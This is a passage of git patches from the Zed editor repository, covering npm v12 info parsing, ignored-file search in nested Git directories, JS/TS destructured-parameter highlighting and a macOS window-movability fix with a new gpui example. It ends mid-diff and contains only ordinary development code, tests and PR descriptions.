[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

N/A

---

Release Notes:

- Fixed npm v12 output deserialization
---
 crates/node_runtime/src/node_runtime.rs | 68 +++++++++++++++++++++++--
 1 file changed, 65 insertions(+), 3 deletions(-)

diff --git a/crates/node_runtime/src/node_runtime.rs b/crates/node_runtime/src/node_runtime.rs
index e960634a842e79..035c86f8adf95a 100644
--- a/crates/node_runtime/src/node_runtime.rs
+++ b/crates/node_runtime/src/node_runtime.rs
@@ -273,7 +273,12 @@ impl NodeRuntime {
             )
             .await?;
 
-        let info: NpmInfo = serde_json::from_slice(&output.stdout)?;
+        let info: NpmInfo = deserialize_npm_info_from_response(&output.stdout).map_err(|e| {
+            anyhow::anyhow!(
+                "failed to parse npm info response: {e}\nstdout: {}",
+                String::from_utf8_lossy(&output.stdout)
+            )
+        })?;
         let before = npm_config_before(instance.as_ref(), http.proxy())
             .await
             .context("getting npm before config")
@@ -412,6 +417,21 @@ pub struct NpmInfo {
     time: HashMap<String, String>,
 }
 
+/// Parse NpmInfo from npm info --json output, handling both v11 and >= v12 formats.
+fn deserialize_npm_info_from_response(data: &[u8]) -> Result<NpmInfo, serde_json::Error> {
+    let value: serde_json::Value = serde_json::from_slice(data)?;
+
+    // npm >= 12 returns an array with one object: [ { ... } ]
+    if let serde_json::Value::Array(arr) = &value {
+        if arr.len() == 1 {
+            return NpmInfo::deserialize(&arr[0]);
+        }
+    }
+
+    // npm <= v11 returns a bare JSON object: { ... }
+    NpmInfo::deserialize(value)
+}
+
 #[derive(Debug, Deserialize, Default)]
 pub struct NpmInfoDistTags {
     latest: Option<Version>,
@@ -1104,8 +1124,8 @@ mod tests {
     use semver::Version;
 
     use super::{
-        NpmInfo, VersionStrategy, build_npm_command_args, proxy_argument,
-        select_npm_package_version, should_install_npm_package_version,
+        NpmInfo, VersionStrategy, build_npm_command_args, deserialize_npm_info_from_response,
+        proxy_argument, select_npm_package_version, should_install_npm_package_version,
     };
 
     // Map localhost to 127.0.0.1
@@ -1384,4 +1404,46 @@ mod tests {
         );
         Ok(())
     }
+
+    #[test]
+    fn test_deserialize_npm_info_npm11_format() -> Result<()> {
+        let json = r#"{
+            "dist-tags": { "latest": "3.0.0" },
+            "versions": ["1.0.0", "2.0.0", "3.0.0"]
+        }"#;
+
+        let info = deserialize_npm_info_from_response(json.as_bytes())?;
+        assert_eq!(info.dist_tags.latest, Some(Version::parse("3.0.0")?));
+        assert_eq!(
+            info.versions,
+            vec![
+                Version::parse("1.0.0")?,
+                Version::parse("2.0.0")?,
+                Version::parse("3.0.0")?
+            ]
+        );
+        Ok(())
+    }
+
+    #[test]
+    fn test_deserialize_npm_v12_format() -> Result<()> {
+        let json = r#"[
+            {
+                "dist-tags": { "latest": "3.0.0" },
+                "versions": ["1.0.0", "2.0.0", "3.0.0"]
+            }
+        ]"#;
+
+        let info = deserialize_npm_info_from_response(json.as_bytes())?;
+        assert_eq!(info.dist_tags.latest, Some(Version::parse("3.0.0")?));
+        assert_eq!(
+            info.versions,
+            vec![
+                Version::parse("1.0.0")?,
+                Version::parse("2.0.0")?,
+                Version::parse("3.0.0")?
+            ]
+        );
+        Ok(())
+    }
 }

From 55242071f11bee10e8af4e25b8a0f2bb8ce2b11e Mon Sep 17 00:00:00 2001
From: Vitaly Slobodin <vitaliy.slobodin@gmail.com>
Date: Mon, 13 Jul 2026 00:26:11 +0200
Subject: [PATCH 406/772] search: Fix ignored file search in nested Git
 directories (#60772)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Fix ignored file search in nested Git directories (even just empty
`.git` directories, not real git repositories)
- Fixes #52328

## Solution

Keep parent ignore rules when rebuilding a nested repository's ignore
stack. This hides root-ignored files again after excluded-file search is
turned off, without breaking global ignore handling.

For example:

```ascii
project/
├── .git/
├── .gitignore    # log/
├── app/
│   └── a.txt     # hello
└── log/
    ├── .git/     # nested repository marker
    └── b.txt     # hello
```

Both `a.txt` and `b.txt` have string `hello`.
Initially, searching for `hello` returns only `a.txt`. Enabling `Also
search files ignored by configuration` rescans `log/` and returns both
files.
Before this change, disabling the option still
returned both files because the rescan dropped the parent `.gitignore`
and marked `b.txt` as included.

## Testing

- Did you test these changes? If so, how?

To test changes in this pull request create a simple project with the
following dir structure:

   ```
   .git
   .gitignore
   a/a.txt
   b/b.txt
   b/.git  # this is an empty directory
   ```

   Add `b` folder as an ignore entry to the `.gitignore` file: `b/`

- Are there any parts that need more testing?

   No

- How can other people (reviewers) test your changes? Is there anything
specific they need to know?

   Use the test scenario above

- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

   macOS

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

By using the structure above here is how it works before changes here:



https://github.com/user-attachments/assets/2028123e-388e-4390-b131-ddf4642ab5f3

Notice that `hello` string from file `b.txt` is listed in search results
regardless of the option `Include excluded files`

And here is after:



https://github.com/user-attachments/assets/99c627a2-e16a-4fdd-979b-2e0bacbd827d



Notice that `hello` string from file `b.txt` is **not** listed in search
results when the option `Include excluded files` is disabled.

Release Notes:

- Fixed ignored file search in nested Git directories
---
 crates/search/src/project_search.rs | 169 ++++++++++++++++++++++++++++
 crates/worktree/src/ignore.rs       |  10 +-
 crates/worktree/src/worktree.rs     |  14 ++-
 3 files changed, 183 insertions(+), 10 deletions(-)

diff --git a/crates/search/src/project_search.rs b/crates/search/src/project_search.rs
index 0ab303409d1cbf..d451190c9ffade 100644
--- a/crates/search/src/project_search.rs
+++ b/crates/search/src/project_search.rs
@@ -2823,6 +2823,175 @@ pub mod tests {
         assert_eq!(split_glob_patterns(r"a\\\,b"), vec![r"a\\\,b"]);
     }
 
+    #[perf]
+    #[gpui::test]
+    async fn test_ignored_dot_git_directory_results_follow_include_ignored_option(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/dir"),
+            json!({
+                ".gitignore": "log/\n",
+                "app": {
+                    "a.txt": "hello",
+                },
+                "log": {
+                    ".git": {},
+                    "b.txt": "hello",
+                },
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let search = cx.new(|cx| ProjectSearch::new(project, cx));
+        let search_view = cx.add_window(|window, cx| {
+            ProjectSearchView::new(workspace.downgrade(), search, window, cx, None)
+        });
+
+        perform_search(search_view, "hello", cx);
+        assert_eq!(
+            search_view
+                .update(cx, |search_view, _, cx| {
+                    search_view.entity.read(cx).match_ranges.len()
+                })
+                .unwrap(),
+            1
+        );
+
+        search_view
+            .update(cx, |search_view, _, cx| {
+                search_view.toggle_search_option(SearchOptions::INCLUDE_IGNORED, cx);
+            })
+            .unwrap();
+        perform_search(search_view, "hello", cx);
+        assert_eq!(
+            search_view
+                .update(cx, |search_view, _, cx| {
+                    search_view.entity.read(cx).match_ranges.len()
+                })
+                .unwrap(),
+            2
+        );
+
+        search_view
+            .update(cx, |search_view, _, cx| {
+                search_view.toggle_search_option(SearchOptions::INCLUDE_IGNORED, cx);
+            })
+            .unwrap();
+        perform_search(search_view, "hello", cx);
+        assert_eq!(
+            search_view
+                .update(cx, |search_view, _, cx| {
+                    search_view.entity.read(cx).match_ranges.len()
+                })
+                .unwrap(),
+            1
+        );
+    }
+
+    #[perf]
+    #[gpui::test]
+    async fn test_unignored_dot_git_directory_results_are_included(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/dir"),
+            json!({
+                "app": {
+                    "a.txt": "hello",
+                },
+                "log": {
+                    ".git": {},
+                    "b.txt": "hello",
+                },
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let search = cx.new(|cx| ProjectSearch::new(project, cx));
+        let search_view = cx.add_window(|window, cx| {
+            ProjectSearchView::new(workspace.downgrade(), search, window, cx, None)
+        });
+
+        perform_search(search_view, "hello", cx);
+        assert_eq!(
+            search_view
+                .update(cx, |search_view, _, cx| {
+                    search_view.entity.read(cx).match_ranges.len()
+                })
+                .unwrap(),
+            2
+        );
+    }
+
+    #[perf]
+    #[gpui::test]
+    async fn test_nested_gitignore_results_follow_include_ignored_option(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/dir"),
+            json!({
+                "app": {
+                    "a.txt": "hello",
+                },
+                "log": {
+                    ".git": {},
+                    ".gitignore": "b.txt\n",
+                    "b.txt": "hello",
+                },
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let search = cx.new(|cx| ProjectSearch::new(project, cx));
+        let search_view = cx.add_window(|window, cx| {
+            ProjectSearchView::new(workspace.downgrade(), search, window, cx, None)
+        });
+
+        perform_search(search_view, "hello", cx);
+        assert_eq!(
+            search_view
+                .update(cx, |search_view, _, cx| {
+                    search_view.entity.read(cx).match_ranges.len()
+                })
+                .unwrap(),
+            1
+        );
+
+        search_view
+            .update(cx, |search_view, _, cx| {
+                search_view.toggle_search_option(SearchOptions::INCLUDE_IGNORED, cx);
+            })
+            .unwrap();
+        perform_search(search_view, "hello", cx);
+        assert_eq!(
+            search_view
+                .update(cx, |search_view, _, cx| {
+                    search_view.entity.read(cx).match_ranges.len()
+                })
+                .unwrap(),
+            2
+        );
+    }
+
     #[perf]
     #[gpui::test]
     async fn test_project_search(cx: &mut TestAppContext) {
diff --git a/crates/worktree/src/ignore.rs b/crates/worktree/src/ignore.rs
index 87487c36df6dc4..5b0b3da52f13e5 100644
--- a/crates/worktree/src/ignore.rs
+++ b/crates/worktree/src/ignore.rs
@@ -85,12 +85,12 @@ impl IgnoreStack {
             IgnoreStackEntry::Global { ignore } => {
                 let combined_path;
                 let abs_path = if let Some(repo_root) = self.repo_root.as_ref() {
-                    combined_path = ignore.path().join(
+                    if let Ok(relative_path) = abs_path.strip_prefix(repo_root) {
+                        combined_path = ignore.path().join(relative_path);
+                        &combined_path
+                    } else {
                         abs_path
-                            .strip_prefix(repo_root)
-                            .expect("repo root should be a parent of matched path"),
-                    );
-                    &combined_path
+                    }
                 } else {
                     abs_path
                 };
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index b83532b1636122..ee04ab6d7bc75c 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -2970,10 +2970,11 @@ impl LocalSnapshot {
                 }
             }
 
-            let metadata = fs.metadata(&ancestor.join(DOT_GIT)).await.ok().flatten();
-            if metadata.is_some() {
-                repo_root = Some(Arc::from(ancestor));
-                break;
+            if repo_root.is_none() {
+                let metadata = fs.metadata(&ancestor.join(DOT_GIT)).await.ok().flatten();
+                if metadata.is_some() {
+                    repo_root = Some(Arc::from(ancestor));
+                }
             }
         }
 
@@ -2990,11 +2991,14 @@ impl LocalSnapshot {
             ignore_stack = ignore_stack.append(IgnoreKind::RepoExclude, repo_exclude.clone());
         }
         ignore_stack.repo_root = repo_root;
+        let mut ancestor_ignore_stack = ignore_stack.clone();
         for (parent_abs_path, ignore) in new_ignores.into_iter().rev() {
-            if ignore_stack.is_abs_path_ignored(parent_abs_path, true) {
+            if ancestor_ignore_stack.is_abs_path_ignored(parent_abs_path, true) {
                 ignore_stack = IgnoreStack::all();
                 break;
             } else if let Some(ignore) = ignore {
+                let kind = IgnoreKind::Gitignore(parent_abs_path.into());
+                ancestor_ignore_stack = ancestor_ignore_stack.append(kind, ignore.clone());
                 ignore_stack =
                     ignore_stack.append(IgnoreKind::Gitignore(parent_abs_path.into()), ignore);
             }

From 5d8459eed6fc9c37a8351f0fbf49dd825ad3830e Mon Sep 17 00:00:00 2001
From: feeiyu <158308373+feeiyu@users.noreply.github.com>
Date: Mon, 13 Jul 2026 06:29:35 +0800
Subject: [PATCH 407/772] Improve JS/TS/TSX parameter highlighting for
 destructuring (#60767)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #51967

Destructured JS/TS/TSX parameters with defaults were not highlighted
consistently as parameters when using themes that distinguish arguments
from variables/properties, such as Catppuccin.

For example, in:

```js
function a({ argument = true }) {}
```

`argument` was parsed under a default assignment pattern and did not
receive the same `@variable.parameter` capture as a destructured
parameter without a default.

This also affected array binding patterns with defaults, such as:

```js
function b([argument = true]) {}
```

## Solution

Updated the JS/TS/TSX highlight queries to capture destructured
parameters with default values as `@variable.parameter`.

This covers both:

- Object binding patterns with defaults, such as `{ argument = true }`
- Array binding patterns with defaults, such as `[argument = true]`

As a result, destructured parameters are highlighted consistently
whether or not they provide a default value.

## Testing

- Verified the highlight query changes for JavaScript/TypeScript
destructured parameters with defaults.
- Tested examples include:
    ```js
    function a({ argument }) {}
    function a({ argument = true }) {}
    function a({ argument = true }?) {} //optional
    function b([argument]) {}
    function b([argument = true]) {}
    function b([argument = true]?) {} // optional
    ```
- These cases should be easiest to visually confirm with a theme that
distinguishes parameters from variables/properties, such as Catppuccin.

## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

## Showcase

Before this change,
<img width="1600" height="332" alt="图片"
src="https://github.com/user-attachments/assets/fbacb22b-f0e4-490d-8f94-6059e66d3ae0"
/>

After this change:
<img width="1599" height="353" alt="图片"
src="https://github.com/user-attachments/assets/3eae692b-391e-4c53-9925-1ca2f5774038"
/>


Release Notes:

- Fixed inconsistent syntax highlighting for JS/TS/TSX destructured
parameters with default values.
---
 crates/grammars/src/javascript/highlights.scm | 20 +++++++++++++++++++
 crates/grammars/src/tsx/highlights.scm        | 20 +++++++++++++++++++
 crates/grammars/src/typescript/highlights.scm | 20 +++++++++++++++++++
 3 files changed, 60 insertions(+)

diff --git a/crates/grammars/src/javascript/highlights.scm b/crates/grammars/src/javascript/highlights.scm
index 852564909878b9..336fcdd36a5600 100644
--- a/crates/grammars/src/javascript/highlights.scm
+++ b/crates/grammars/src/javascript/highlights.scm
@@ -98,6 +98,26 @@
       (shorthand_property_identifier_pattern)
     ]) @variable.parameter))
 
+(required_parameter
+  (_
+    (object_assignment_pattern
+      left: (shorthand_property_identifier_pattern) @variable.parameter)))
+
+(required_parameter
+  (_
+    (assignment_pattern
+      left: (identifier) @variable.parameter)))
+
+(optional_parameter
+  (_
+    (object_assignment_pattern
+      left: (shorthand_property_identifier_pattern) @variable.parameter)))
+
+(optional_parameter
+  (_
+    (assignment_pattern
+      left: (identifier) @variable.parameter)))
+
 (optional_parameter
   (identifier) @variable.parameter)
 
diff --git a/crates/grammars/src/tsx/highlights.scm b/crates/grammars/src/tsx/highlights.scm
index e8cb7a11065584..3dd9038782d814 100644
--- a/crates/grammars/src/tsx/highlights.scm
+++ b/crates/grammars/src/tsx/highlights.scm
@@ -98,6 +98,26 @@
       (shorthand_property_identifier_pattern)
     ]) @variable.parameter))
 
+(required_parameter
+  (_
+    (object_assignment_pattern
+      left: (shorthand_property_identifier_pattern) @variable.parameter)))
+
+(required_parameter
+  (_
+    (assignment_pattern
+      left: (identifier) @variable.parameter)))
+
+(optional_parameter
+  (_
+    (object_assignment_pattern
+      left: (shorthand_property_identifier_pattern) @variable.parameter)))
+
+(optional_parameter
+  (_
+    (assignment_pattern
+      left: (identifier) @variable.parameter)))
+
 (optional_parameter
   (identifier) @variable.parameter)
 
diff --git a/crates/grammars/src/typescript/highlights.scm b/crates/grammars/src/typescript/highlights.scm
index 0213adb10f61a4..c3ecf179465d4a 100644
--- a/crates/grammars/src/typescript/highlights.scm
+++ b/crates/grammars/src/typescript/highlights.scm
@@ -193,6 +193,26 @@
       (shorthand_property_identifier_pattern)
     ]) @variable.parameter))
 
+(required_parameter
+  (_
+    (object_assignment_pattern
+      left: (shorthand_property_identifier_pattern) @variable.parameter)))
+
+(required_parameter
+  (_
+    (assignment_pattern
+      left: (identifier) @variable.parameter)))
+
+(optional_parameter
+  (_
+    (object_assignment_pattern
+      left: (shorthand_property_identifier_pattern) @variable.parameter)))
+
+(optional_parameter
+  (_
+    (assignment_pattern
+      left: (identifier) @variable.parameter)))
+
 (optional_parameter
   (identifier) @variable.parameter)
 

From 23bb2fc135a69492847c3aa68444a7d14cc282f6 Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Mon, 13 Jul 2026 00:46:47 +0200
Subject: [PATCH 408/772] macos: Fix window move controls are disabled (#60620)

Closes https://github.com/zed-industries/zed/issues/60595

cc Anthony-Eid since you did an initial pass on this.

# Objective

Currenly on macOs there is no way right now after the following
regression to use window management short keys to move them around. This
worked before, but was regressed initially in
https://github.com/zed-industries/zed/pull/59836 that tried fixing a
macos 27 clicking delay issue on the titlebar. That accidentally set the
`native_window.setMovable_(is_movable as BOOL)` to false. Because of
this mocos detects this and disables the window managements actions
because it thinks the window can/should not be able to move.

## Solution

The macOS 27 click delay actually comes from AppKit's native titlebar
dragging, not from `NSWindow.isMovable`. The problem is that
`is_movable` is also what enables the Window menu's tiling options, and
#59836 used it to turn off dragging, which disabled the tiling menu as a
side effect.

To fix this, I restored `is_movable` to its real meaning so the tiling
menu works again, and added a separate
`WindowOptions::app_owns_titlebar_drag` flag for windows that draw their
own titlebar and handle dragging via `Window::start_window_move`. On
macOS this tells AppKit to stop owning titlebar drags (removing the
click delay) without affecting `is_movable`. Zed's main window now sets
both `is_movable: true` and `app_owns_titlebar_drag: true`, so the
tiling menu stays enabled, the click delay is gone. I also added a
`window_movable` gpui example to make this behavior easy to test
manually.

## Testing

I added a gpui test example that helps testing this bug. You can run the
newly added gpui example with 4 different window configurations that
should confirm that this change is the right one for all of the window
types that we have.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

**After** (note this now shows the window managements entries as they
were greyed out.)


https://github.com/user-attachments/assets/192cc0e1-15d8-486f-b788-a92bb51fb7d1

**GPUI** (test examples with different window configurations.)


https://github.com/user-attachments/assets/c9e0f4d3-606b-4cd7-b4d8-a5bb16508164

---

Release Notes:

- Fix macos window management controlls were grayed out/not working
---
 crates/gpui/Cargo.toml                 |   4 +
 crates/gpui/examples/window_movable.rs | 125 +++++++++++++++++++++++++
 crates/gpui/src/platform.rs            |  30 ++++--
 crates/gpui/src/window.rs              |   2 +
 crates/gpui_macos/src/window.rs        |  32 +++++++
 crates/zed/src/zed.rs                  |  11 ++-
 6 files changed, 194 insertions(+), 10 deletions(-)
 create mode 100644 crates/gpui/examples/window_movable.rs

diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index eab072e470b3ce..bcf992a5316d89 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -195,6 +195,10 @@ path = "examples/input.rs"
 name = "on_window_close_quit"
 path = "examples/on_window_close_quit.rs"
 
+[[example]]
+name = "window_movable"
+path = "examples/window_movable.rs"
+
 [[example]]
 name = "opacity"
 path = "examples/opacity.rs"
diff --git a/crates/gpui/examples/window_movable.rs b/crates/gpui/examples/window_movable.rs
new file mode 100644
index 00000000000000..587a2dbfea55cc
--- /dev/null
+++ b/crates/gpui/examples/window_movable.rs
@@ -0,0 +1,125 @@
+#![cfg_attr(target_family = "wasm", no_main)]
+
+use gpui::{
+    App, Bounds, Context, FocusHandle, Window, WindowBounds, WindowOptions, div, prelude::*, px,
+    rgb, size,
+};
+use gpui::{SharedString, TitlebarOptions};
+use gpui_platform::application;
+
+struct ExampleWindow {
+    label: SharedString,
+    focus_handle: FocusHandle,
+}
+
+impl Render for ExampleWindow {
+    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+        div()
+            .track_focus(&self.focus_handle)
+            .flex()
+            .flex_col()
+            .gap_3()
+            .bg(rgb(0x2e2e2e))
+            .size_full()
+            .justify_center()
+            .items_center()
+            .p_8()
+            .text_lg()
+            .text_color(rgb(0xffffff))
+            .child(self.label.clone())
+            .child(
+                div()
+                    .text_sm()
+                    .text_color(rgb(0xb0b0b0))
+                    .child("Try to drag the titlebar, and check the Window menu."),
+            )
+    }
+}
+
+fn open_test_window(
+    cx: &mut App,
+    bounds: Bounds<gpui::Pixels>,
+    label: &str,
+    is_movable: bool,
+    appears_transparent: bool,
+    app_owns_titlebar_drag: bool,
+) {
+    let label = SharedString::from(format!(
+        "{label}\nis_movable: {is_movable}\n\
+         appears_transparent: {appears_transparent}\n\
+         app_owns_titlebar_drag: {app_owns_titlebar_drag}"
+    ));
+
+    cx.open_window(
+        WindowOptions {
+            window_bounds: Some(WindowBounds::Windowed(bounds)),
+            is_movable,
+            app_owns_titlebar_drag,
+            titlebar: Some(TitlebarOptions {
+                title: Some(label.clone()),
+                appears_transparent,
+                ..Default::default()
+            }),
+            ..Default::default()
+        },
+        |window, cx| {
+            cx.new(|cx| {
+                let focus_handle = cx.focus_handle();
+                focus_handle.focus(window, cx);
+                ExampleWindow {
+                    label,
+                    focus_handle,
+                }
+            })
+        },
+    )
+    .unwrap();
+}
+
+fn run_example() {
+    application().run(|cx: &mut App| {
+        let window_size = size(px(420.), px(280.0));
+        let base = Bounds::centered(None, window_size, cx);
+
+        // (label, is_movable, appears_transparent, app_owns_titlebar_drag, col, row)
+        let windows = [
+            ("Native titlebar, movable", true, false, false, 0.0, 0.0),
+            (
+                "Native titlebar, NOT movable",
+                false,
+                false,
+                false,
+                1.0,
+                0.0,
+            ),
+            ("Custom titlebar, movable", true, true, false, 0.0, 1.0),
+            ("Custom titlebar, NOT movable", false, true, false, 1.0, 1.0),
+        ];
+
+        for (label, is_movable, appears_transparent, app_owns_titlebar_drag, col, row) in windows {
+            let mut bounds = base;
+            bounds.origin.x += window_size.width * col;
+            bounds.origin.y += window_size.height * row;
+            open_test_window(
+                cx,
+                bounds,
+                label,
+                is_movable,
+                appears_transparent,
+                app_owns_titlebar_drag,
+            );
+        }
+    });
+}
+
+#[cfg(not(target_family = "wasm"))]
+fn main() {
+    run_example();
+}
+
+#[cfg(target_family = "wasm")]
+#[wasm_bindgen::prelude::wasm_bindgen(start)]
+pub fn start() {
+    gpui_platform::web_init();
+    run_example();
+}
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 52b2f0066a1ecc..531145bcaa74f6 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -1682,14 +1682,24 @@ pub struct WindowOptions {
     /// The kind of window to create
     pub kind: WindowKind,
 
-    /// Whether the window should be movable by the user.
-    ///
-    /// On macOS 27, custom titlebar windows that implement their own drag behavior
-    /// with [`Window::start_window_move`] should set this to `false`; otherwise
-    /// AppKit can treat the titlebar region as system-owned and delay clicks
-    /// while disambiguating titlebar double-clicks.
+    /// Whether the window can be moved by the user. When `false`, the user cannot drag
+    /// the window (on macOS this sets `NSWindow.isMovable`, which also disables the
+    /// Window-menu tiling items); programmatic moves are still allowed.
     pub is_movable: bool,
 
+    /// Whether the application owns dragging of the (custom) titlebar, rather than
+    /// AppKit. Only has an effect on macOS.
+    ///
+    /// Set this to `true` for windows that draw their own titlebar and move the window
+    /// themselves via [`Window::start_window_move`]. It marks the whole content view as
+    /// app-owned titlebar content, so AppKit neither drags the window from the titlebar
+    /// nor delays titlebar clicks while disambiguating double-clicks (a delay first
+    /// observed on macOS 27). It is independent of `is_movable`, so such windows stay
+    /// user-movable (via their own drag) and keep the Window-menu tiling items enabled.
+    ///
+    /// Leave this `false` for windows that rely on AppKit's native titlebar dragging.
+    pub app_owns_titlebar_drag: bool,
+
     /// Whether the window should be resizable by the user
     pub is_resizable: bool,
 
@@ -1745,6 +1755,13 @@ pub struct WindowParams {
     #[cfg_attr(any(target_os = "linux", target_os = "freebsd"), allow(dead_code))]
     pub is_movable: bool,
 
+    /// Whether the application owns dragging of the (custom) titlebar (macOS only)
+    #[cfg_attr(
+        any(target_os = "linux", target_os = "freebsd", target_os = "windows"),
+        allow(dead_code)
+    )]
+    pub app_owns_titlebar_drag: bool,
+
     /// Whether the window should be resizable by the user
     #[cfg_attr(any(target_os = "linux", target_os = "freebsd"), allow(dead_code))]
     pub is_resizable: bool,
@@ -1826,6 +1843,7 @@ impl Default for WindowOptions {
             show: true,
             kind: WindowKind::Normal,
             is_movable: true,
+            app_owns_titlebar_drag: false,
             is_resizable: true,
             is_minimizable: true,
             display_id: None,
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 35269a09c84931..5246964274a218 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -1293,6 +1293,7 @@ impl Window {
             show,
             kind,
             is_movable,
+            app_owns_titlebar_drag,
             is_resizable,
             is_minimizable,
             display_id,
@@ -1321,6 +1322,7 @@ impl Window {
                 titlebar,
                 kind,
                 is_movable,
+                app_owns_titlebar_drag,
                 is_resizable,
                 is_minimizable,
                 focus,
diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index 6221b14161096c..4be73b8ce3903f 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -288,6 +288,12 @@ unsafe fn build_classes() {
                 accepts_first_mouse as extern "C" fn(&Object, Sel, id) -> BOOL,
             );
 
+            decl.add_method(
+                sel!(_opaqueRectForWindowMoveWhenInTitlebar),
+                opaque_rect_for_window_move_when_in_titlebar
+                    as extern "C" fn(&Object, Sel) -> NSRect,
+            );
+
             decl.add_method(
                 sel!(characterIndexForPoint:),
                 character_index_for_point as extern "C" fn(&Object, Sel, NSPoint) -> u64,
@@ -512,6 +518,11 @@ struct MacWindowState {
     external_files_dragged: bool,
     // Whether the next left-mouse click is also the focusing click.
     first_mouse: bool,
+    // When true, the whole content view is reported as app-owned titlebar content via
+    // `_opaqueRectForWindowMoveWhenInTitlebar`, so AppKit does not drag the window from
+    // the titlebar or delay titlebar clicks (a delay first observed on macOS 27). Such
+    // windows draw their own titlebar and move the window via `start_window_move`.
+    app_owns_titlebar_drag: bool,
     fullscreen_restore_bounds: Bounds<Pixels>,
     move_tab_to_new_window_callback: Option<Box<dyn FnMut()>>,
     merge_all_windows_callback: Option<Box<dyn FnMut()>>,
@@ -746,6 +757,7 @@ impl MacWindow {
             titlebar,
             kind,
             is_movable,
+            app_owns_titlebar_drag,
             is_resizable,
             is_minimizable,
             focus,
@@ -909,6 +921,7 @@ impl MacWindow {
                 do_command_handled: None,
                 external_files_dragged: false,
                 first_mouse: false,
+                app_owns_titlebar_drag,
                 fullscreen_restore_bounds: Bounds::default(),
                 move_tab_to_new_window_callback: None,
                 merge_all_windows_callback: None,
@@ -2860,6 +2873,25 @@ extern "C" fn accepts_first_mouse(this: &Object, _: Sel, _: id) -> BOOL {
     YES
 }
 
+// Reports which region of the view AppKit should treat as app-owned titlebar content
+// (rather than a system-owned window-move region). When `app_owns_titlebar_drag` is
+// true, we claim the entire view so AppKit neither drags the window from the titlebar
+// nor waits to disambiguate double-clicks before delivering titlebar clicks (the macOS
+// 27 delay); such windows implement dragging themselves via [`Window::start_window_move`].
+// Otherwise we return an empty rect so AppKit's native titlebar dragging keeps working.
+// This is independent of `NSWindow.isMovable`, so the Window-menu tiling items stay
+// enabled regardless.
+extern "C" fn opaque_rect_for_window_move_when_in_titlebar(this: &Object, _: Sel) -> NSRect {
+    let zero_rect = NSRect::new(NSPoint::new(0., 0.), NSSize::new(0., 0.));
+    let window_state = unsafe { get_window_state(this) };
+    let app_owns_titlebar_drag = window_state.as_ref().lock().app_owns_titlebar_drag;
+    if app_owns_titlebar_drag {
+        unsafe { msg_send![this, bounds] }
+    } else {
+        zero_rect
+    }
+}
+
 extern "C" fn character_index_for_point(this: &Object, _: Sel, position: NSPoint) -> u64 {
     let position = screen_point_to_gpui_point(this, position);
     with_input_handler(this, |input_handler| {
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 2ecd422be6e6b9..01f887b6b45c3d 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
